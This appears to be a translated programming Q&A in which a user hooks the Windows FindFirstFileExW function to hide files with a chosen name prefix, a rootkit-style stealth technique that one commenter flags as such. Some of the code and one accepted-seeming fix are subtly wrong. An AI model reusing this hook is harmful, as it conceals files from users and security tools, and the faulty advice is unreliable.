2011-12-02 72 views
1

如何投射WIN32_FIND_DATA到LPVOID?將WIN32_FIND_DATA投射到LPVOID

我試圖掛鉤的功能,但我無法投WIN32_FIND_DATA到LPVOID

這是我的功能:

/* New FindFirstFileW Function */ 
HANDLE WINAPI newFindFirstFileExW(__in LPCTSTR lpFileName, __in FINDEX_INFO_LEVELS fInfoLevelId, __out LPVOID lpFindFileData, __in FINDEX_SEARCH_OPS fSearchOp, 
            __reserved LPVOID lpSearchFilter, __in DWORD dwAdditionalFlags) 
{ 
    HANDLE hFind; 
    WIN32_FIND_DATA findData; 
    BOOL ret; 
    hFind = FindFirstFileExW(lpFileName, fInfoLevelId, &findData, fSearchOp, lpSearchFilter, dwAdditionalFlags); 

    if (hFind == INVALID_HANDLE_VALUE) 
     return hFind; 

    // if first file name starts with HIDE_NAME_W skip the file 
    if (wcsstr(findData.cFileName, HIDE_NAME_W) != 0) 
    { 
     ret = true; 
     do { 
      ret = FindNextFileW(hFind, &findData); 
     } while (!ret && wcsstr(findData.cFileName, HIDE_NAME_W) != 0); 

     if (!ret) 
     { 
      SetLastError(ERROR_FILE_NOT_FOUND); 
      return INVALID_HANDLE_VALUE; 
     } 
    } 

    lpFindFileData = reinterpret_cast<LPVOID>(findData); 
    return hFind; 
} 

編輯: 謝謝大家的幫助,它現在我的工作問題是我忘了更改 被調用的函數..我正在鉤住FindFirstFileExW一些其他函數

+4

你錯過了一個符號 - & – kichik

+2

這難道不是來一個rootkit下? – Deanna

回答

2

你必須到WIN32_FIND_DATA複製到lpFindFileData內存。 最後返回前的一行應該是這樣的:

*reinterpret_cast<WIN32_FIND_DATA*>(lpFindFileData) = findData; 
+0

仍在使命令提示符崩潰的函數:\ – DanR

+0

也許您的鉤子設置不正確? – pezcode

+0

我的鉤子設置正確,因爲當我試圖掛鉤其他功能,它工作正常..這是唯一的功能,誰導致我的問題 – DanR

2

lpFindFileData = reinterpret_cast<LPVOID>(findData);

findData在這方面不是指針,它實際上是WIN32_FIND_DATA

而是執行此操作:

lpFindFileData = reinterpret_cast<LPVOID>(&findData);

+0

由於某種原因它導致cmd.exe進程崩潰時,如果我輸入「dir」如果我使用這種類型的轉換 – DanR

+0

nvm現在它的工作謝謝!原因是在帖子:)! – DanR